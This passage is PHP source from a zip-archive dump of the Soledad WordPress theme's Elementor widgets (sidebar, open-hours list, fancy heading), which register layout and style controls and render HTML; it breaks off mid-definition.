			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$settings = $this->get_settings();
		$this->markup_block_title( $settings, $this );
		penci_elementor_products_template( $this->get_settings_for_display(), true );
	}
}
PK     1w\FrA    *  elementor/modules/penci-sidebar/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSidebar;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-sidebar';
	}

	public function get_widgets() {
		return array( 'PenciSidebar' );
	}
}
PK     1w\?      9  elementor/modules/penci-sidebar/widgets/penci-sidebar.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSidebar\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSidebar extends Base_Widget {

	public function get_name() {
		return 'penci-sidebar';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Sidebar', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-sidebar';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'Sidebar' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'penci_sidebar', array(
				'label'   => __( 'Sidebar to Display', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'main-sidebar',
				'options' => \Penci_Custom_Sidebar::get_list_sidebar_el()
			)
		);
		$this->add_control(
			'penci_htitle_layout', array(
				'label'   => __( 'Select Sidebar Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''                  => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'pcsb-boxed-none'   => esc_html__( 'No Boxed', 'soledad' ),
					'pcsb-boxed-whole'  => esc_html__( 'Boxed Whole Sidebar', 'soledad' ),
					'pcsb-boxed-widget' => esc_html__( 'Boxed Widgets on Sidebar', 'soledad' )
				)
			)
		);
		$this->add_control(
			'penci_htitle_style', array(
				'label'   => __( 'Sidebar Widget Heading Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''                  => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'style-1'           => esc_html__( 'Style 1', 'soledad' ),
					'style-2'           => esc_html__( 'Style 2', 'soledad' ),
					'style-3'           => esc_html__( 'Style 3', 'soledad' ),
					'style-4'           => esc_html__( 'Style 4', 'soledad' ),
					'style-5'           => esc_html__( 'Style 5', 'soledad' ),
					'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
					'style-7'           => esc_html__( 'Style 7', 'soledad' ),
					'style-9'           => esc_html__( 'Style 8', 'soledad' ),
					'style-8'           => esc_html__( 'Style 9', 'soledad' ),
					'style-10'          => esc_html__( 'Style 10', 'soledad' ),
					'style-11'          => esc_html__( 'Style 11', 'soledad' ),
					'style-12'          => esc_html__( 'Style 12', 'soledad' ),
					'style-13'          => esc_html__( 'Style 13', 'soledad' ),
					'style-14'          => esc_html__( 'Style 14', 'soledad' ),
					'style-15'          => esc_html__( 'Style 15', 'soledad' ),
					'style-16'          => esc_html__( 'Style 16', 'soledad' ),
					'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
					'style-18'          => esc_html__( 'Style 18', 'soledad' ),
					'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
					'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
					'style-21'          => __( 'Style 21', 'soledad' ),
					'style-22'          => __( 'Style 22', 'soledad' ),
					'style-23'          => __( 'Style 23', 'soledad' ),
					'style-24'          => __( 'Style 24', 'soledad' ),
					'style-25'          => __( 'Style 25', 'soledad' ),
					'style-26'          => __( 'Style 26', 'soledad' ),
					'style-27'          => __( 'Style 27', 'soledad' ),
					'style-28'          => __( 'Style 28', 'soledad' ),
					'style-29'          => __( 'Style 29', 'soledad' ),
					'style-30'          => __( 'Style 30', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'penci_htitle_align', array(
				'label'   => __( 'Sidebar Widget Heading Align', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''               => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'pcalign-left'   => esc_html__( 'Left', 'soledad' ),
					'pcalign-center' => esc_html__( 'Center', 'soledad' ),
					'pcalign-right'  => esc_html__( 'Right', 'soledad' )
				)
			)
		);

		$this->add_control(
			'penci_htitle_iconpo', array(
				'label'     => __( 'Align Icon on Style 15', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''              => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'pciconp-right' => esc_html__( 'Right', 'soledad' ),
					'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
				),
				'condition' => array( 'penci_htitle_style' => 'style-15' ),
			)
		);

		$this->add_control(
			'penci_htitle_icon', array(
				'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''             => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
					'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
					'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
					'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
					'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
					'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
					'pcicon-file'  => esc_html__( 'File', 'soledad' ),
					'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
					'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
				),
				'condition' => array( 'penci_htitle_style' => 'style-15' ),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		$heading_title       = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
		$heading_align       = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
		$sidebar_style       = get_theme_mod( 'penci_sidebar_style' ) ? get_theme_mod( 'penci_sidebar_style' ) : '';
		$sidebar_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
		$sidebar_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

		$sidebar  = $settings['penci_sidebar'] ? $settings['penci_sidebar'] : 'main-sidebar';
		$style    = $settings['penci_htitle_style'] ? $settings['penci_htitle_style'] : $heading_title;
		$align    = $settings['penci_htitle_align'] ? $settings['penci_htitle_align'] : $heading_align;
		$layout   = $settings['penci_htitle_layout'] ? $settings['penci_htitle_layout'] : $sidebar_style;
		$icon_pos = $settings['penci_htitle_iconpo'] ? $settings['penci_htitle_iconpo'] : $sidebar_icon_pos;
		$icon     = $settings['penci_htitle_icon'] ? $settings['penci_htitle_icon'] : $sidebar_icon_design;

		if ( ! isset( $sidebar ) ): $sidebar = 'main-sidebar'; endif;
		if ( ! isset( $style ) ): $style = 'style-1'; endif;
		if ( ! in_array( $align, array(
			'pcalign-center',
			'pcalign-left',
			'pcalign-right'
		) ) ): $align = 'pcalign-center'; endif;
		?>

        <div id="sidebar"
             class="penci-sidebar-content penci-sidebar-content-vc <?php echo esc_attr( $style . ' ' . $align . ' ' . $layout . ' ' . $icon_pos . ' ' . $icon ); ?>">
            <div class="theiaStickySidebar">
				<?php
				if ( is_active_sidebar( $sidebar ) ) {
					dynamic_sidebar( $sidebar );
				} else {
					dynamic_sidebar( 'main-sidebar' );
				}
				?>
            </div>
        </div>

		<?php
	}
}
PK     1w\M    ,  elementor/modules/penci-open-hour/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciOpenHour;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-open-hour';
	}

	public function get_widgets() {
		return array( 'PenciOpenHour' );
	}
}
PK     1w\dA  A  =  elementor/modules/penci-open-hour/widgets/penci-open-hour.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciOpenHour\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciOpenHour extends Base_Widget {

	public function get_name() {
		return 'penci-open-hour';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Open Hour', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'open hour' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_images', array(
				'label' => esc_html__( 'Openings Hours / Menu', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$repeater = new Repeater();

		$repeater->add_control(
			'icon', array(
				'label'   => __( 'Icon', 'soledad' ),
				'type'    => Controls_Manager::ICON,
				'default' => 'far fa-clock',
				'label_block' => true,
			)
		);
		$repeater->add_control(
			'title', array(
				'label'   => __( 'Custom title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Monday', 'soledad' ),
			)
		);
		$repeater->add_control(
			'subtitle', array(
				'label' => __( 'Subtitle', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);
		$repeater->add_control(
			'hours', array(
				'label' => __( 'Hours or Price', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);


		$this->add_control(
			'working_hours', array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'icon'  => 'far fa-clock',
						'title' => __('Monday','soledad' ),
						'hours' => '8:00 AM - 9:00 PM'
					),
					array(
						'icon'  => 'far fa-clock',
						'title' => __('Tuesday','soledad' ),
						'hours' => '8:00 AM - 9:00 PM'
					),
					array(
						'icon'  => 'far fa-clock',
						'title' => __('Wednessday','soledad' ),
						'hours' => '8:00 AM - 9:00 PM'
					)
				),
				'title_field' => '{{{ title }}}',
			)
		);
		$this->add_responsive_control(
			'row_gap', array(
				'label'     => __( 'Space Item', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}}  .penci-workingh-lists li' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'subtitle_martop', array(
				'label'     => __( 'Subtitle Margin Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}}  .penci-listitem-subtitle' => 'margin-top: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();
		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'ophour_icon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-icon' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_responsive_control(
			'ophour_icon_size', array(
				'label'     => __( 'Font size for Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-icon' => 'font-size: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'ophour_title_color',
			array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-title' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Typhography for Title', 'soledad' ),
				'name'     => 'ophour_title_typo',
				'selector' => '{{WRAPPER}} .penci-workingh-lists .penci-listitem-title',
			)
		);
		$this->add_control(
			'ophour_subtitle_color',
			array(
				'label'     => __( 'Subtitle Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-subtitle' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Typhography for Subtitle', 'soledad' ),
				'name'     => 'ophour_subtitle_typo',
				'selector' => '{{WRAPPER}} .penci-workingh-lists .penci-listitem-subtitle',
			)
		);

		$this->add_responsive_control(
			'ophour_subtitle_size', array(
				'label'     => __( 'Font size for Subtitle', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-subtitle' => 'font-size: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'ophour_hour_color',
			array(
				'label'     => __( 'Hours or Price Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-workingh-lists .penci-listitem-hours' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Typhography for Subtitle', 'soledad' ),
				'name'     => 'ophour_hour_typo',
				'selector' => '{{WRAPPER}} .penci-workingh-lists .penci-listitem-hours',
			)
		);
		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		if( ! $settings['working_hours'] ) {
			return;
		}

		$css_class = 'penci-block-vc penci-working-hours';
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div class="penci-workingh-lists">
					<ul>
						<?php foreach ( (array)$settings['working_hours'] as $hour ):
							$icon = isset( $hour['icon'] ) ? $hour['icon'] : '';
							$title = isset( $hour['title'] ) ? $hour['title'] : '';
							$hours = isset( $hour['hours'] ) ? $hour['hours'] : '';
							$subtitle = isset( $hour['subtitle'] ) ? $hour['subtitle'] : '';

							?>
							<li class="penci-workingh-item">
								<div class="penci-workingh-item-inner">
									<div class="penci-workingh-line1">
										<div class="penci-icontitle">
											<?php
											if ( $icon ) {
												echo '<i class="penci-listitem-icon ' . $icon . '"></i>';
											}
											if ( $title ) {
												echo '<span class="penci-listitem-title">' . $title . '</span>';
											}
											?>
										</div>
										<?php
										if ( $hours ) {
											echo '<span class="penci-listitem-hours">' . $hours . '</span>';
										}
										?>
									</div>
									<?php
									if ( $subtitle ) {
										echo '<span class="penci-listitem-subtitle">' . $subtitle . '</span>';
									}
									?>
								</div>
							</li>
						<?php endforeach; ?>

					</ul>
				</div>
			</div>
		</div>
		<?php
	}
}
PK     1w\n/j  j  0  elementor/modules/penci-fancy-heading/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFancyHeading;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-fancy-heading';
	}

	public function get_widgets() {
		return array( 'PenciFancyHeading' );
	}
}
PK     1w\6UZ  UZ  E  elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFancyHeading\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Box_Shadow;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFancyHeading extends Base_Widget {

	public function get_name() {
		return 'penci-fancy_heading';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Fancy Heading', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-t-letter';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'fancy_heading', 'block', 'penci', 'heading', 'soledad' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'_text_align', array(
				'label'   => __( 'Text Align', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'center',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				),
			)
		);
		
		$this->add_responsive_control(
			'fancy_width', array(
				'label'     => __( 'Limit Width for Fancy Heading', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-fancy-heading' => 'width: 100%; max-width: {{SIZE}}px;' ),
			)
		);
		
		$this->add_control( 'fancy_alignment', array(
			'label'                => __( 'Block Alignment', 'soledad' ),
			'description'                => __( 'Applies changes when you set a limit width for Fancy Heading', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'default' => 'center',
			'selectors'            => array(
				'{{WRAPPER}} .penci-fancy-heading' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );
		
		// Subtag
		$this->end_controls_section();

		$this->start_controls_section( 'section_fcsubtitle', array(
			'label' => esc_html__( 'Subtitle', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		
		$this->add_control(
			'p_subtitle', array(
				'label'       => __( 'Subtitle Text', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'This is the subtitle', 'soledad' ),
				'placeholder' => __( 'Add Your Subtitle Text Here', 'soledad' ),
				'label_block' => true,
			)
		);
		$this->add_control(
			'subtitle_tag', array(
				'label'   => __( 'Subtitle Tag', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				),
				'default' => 'div',
			)
		);
		$this->add_control(
			'subtitle_pos', array(
				'label'   => __( 'Subtitle Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'above'     => __( 'Above the title', 'soledad' ),
					'below'     => __( 'Below the title', 'soledad' ),
					'belowline' => __( 'Below the separator', 'soledad' ),
				),
				'default' => 'above',
			)
		);
		
		$this->add_control(
			'subtitle_margin_top', array(
				'label'     => __( 'Subtitle Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-subtitle' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'subtitle_margin_bottom', array(
				'label'     => __( 'Subtitle Spacing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-subtitle' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'subtitle_width', array(
				'label'     => __( 'Limit Width for Subtitle', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-subtitle' => 'width: 100%; max-width: {{SIZE}}px;' ),
			)
		);

		// Title
		$this->end_controls_section();

		$this->start_controls_section( 'section_fctitle', array(
			'label' => esc_html__( 'Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		
		$this->add_control(
			'p_title', array(
				'label'       => __( 'Title Text', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'This is the title', 'soledad' ),
				'placeholder' => __( 'Add Your title Text Here', 'soledad' ),
				'label_block' => true,
			)
		);
		$this->add_control(
			'title_tag', array(
				'label'   => __( 'Title Tag', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				),
				'default' => 'h2',
			)
		);
		$this->add_control(
			'title_link', array(
				'label'   => __( 'Add Link to Title?', 'soledad' ),
				'type'    => Controls_Manager::URL,
				'dynamic' => array( 'active' => true ),
				'default' => array( 'url' => '' )
			)
		);
		
		$this->add_control(
			'add_line', array(
				'label'     => __( 'Add Lines on Left & Right of Title?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'lines_height', array(
				'label'     => __( 'Lines Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:before,{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:after' => 'height: {{SIZE}}px; margin-top: calc( {{SIZE}}px * -1 / 2 );',
				),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);
		
		$this->add_control(
			'lines_width', array(
				'label'     => __( 'Lines Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:before,{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit:after' => 'width: {{SIZE}}px;',
				),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);
		
		$this->add_control(
			'lines_spacing', array(
				'label'     => __( 'Spacing Between Lines & Title', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-fancy-heading.pc-fctline .inner-tit' => 'padding-left: {{SIZE}}px; padding-right: {{SIZE}}px;',
				),
				'condition' => array( 'add_line' => 'yes' ),
			)
		);
		
		$this->end_controls_section();
		
		// Line
		$this->start_controls_section( 'section_fcseparator', array(
			'label' => esc_html__( 'Separator', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		
		$this->add_control(
			'_use_separator', array(
				'label'     => __( 'Use separator?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'separator_style', array(
				'label'     => __( 'Border Style:', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					''       => 'Solid',
					'dashed' => 'Dashed',
					'dotted' => 'Dotted',
					'double' => 'Double',
				),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		$this->add_control(
			'add_separator_icon', array(
				'label'     => __( 'Add Separator Icon?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'p_icon', array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICON,
				'label_block' => true,
				'default'   => 'fas fa-star',
				'condition' => array( 'add_separator_icon!' => '' ),
			)
		);

		$this->add_control(
			'separator_border_width', array(
				'label'     => __( 'Separator Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}}  .penci-separator .penci-sep_line'               => 'border-width: {{SIZE}}px;top: calc( -{{SIZE}}px / 2 ); border-bottom: none; border-left: none; border-right: none;',
					'{{WRAPPER}}  .penci-separator.penci-separator-double:after'  => 'border-top-width: {{SIZE}}px;',
				),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'separator_width', array(
				'label'     => __( 'Separator Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'size_units' => [ 'px', '%' ],
				'range' => [
					'px' => [
						'min' => 0,
						'max' => 2000,
						'step' => 1,
					],
					'%' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => array( '{{WRAPPER}}  .penci-separator' => 'max-width: {{SIZE}}px' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'p_icon_martop', array(
				'label'     => __( 'Separator Icon Spacing Top & Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-icon' => 'margin-top: {{SIZE}}px;margin-bottom: {{SIZE}}px' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'p_icon_marlr', array(
				'label'     => __( 'Separator Icon Spacing Right & Left', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( 
					'{{WRAPPER}}  .penci-heading-icon' => 'margin-left: {{SIZE}}px;margin-right: {{SIZE}}px;',
				),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->add_control(
			'separator_margin_top', array(
				'label'     => __( 'Separator Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-separator' => 'margin-top: {{SIZE}}px' ),
				'condition' => array( '_use_separator!' => '' ),
			)
		);
		
		$this->end_controls_section();
		
		// Description
		$this->start_controls_section( 'section_fcdesc', array(
			'label' => esc_html__( 'Description', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		
		$this->add_control(
			'content', array(
				'label'   => __( 'Description', 'soledad' ),
				'type'    => Controls_Manager::TEXTAREA,
				'default' => __( '<p>I am text block. Click edit button to change this text.</p>', 'soledad' ),
			)
		);
		$this->add_control(
			'content_margin_top', array(
				'label'     => __( 'Content Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-content' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'content_width', array(
				'label'     => __( 'Limit Content Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'selectors' => array( '{{WRAPPER}}  .penci-heading-content' => 'max-width: {{SIZE}}px;width:100%;' ),
			)
		);

		$this->end_controls_section();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Fancy Heading', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		
		
		$this->add_responsive_control( 'fancy_padding', array(
			'label'      => __( 'Fancy Heading Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-fancy-heading' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
		) );
		
		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name' => 'fancy_shadow',
				'label' => __( 'Add Box Shadow?', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-fancy-heading',
			)
		);
		
		// Title
		$this->add_control(
			'ssubtitle_heading',
			array(
				'label'     => __( 'SubTitle', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		
		$this->add_control(
			'psubtitle_color',
			array(
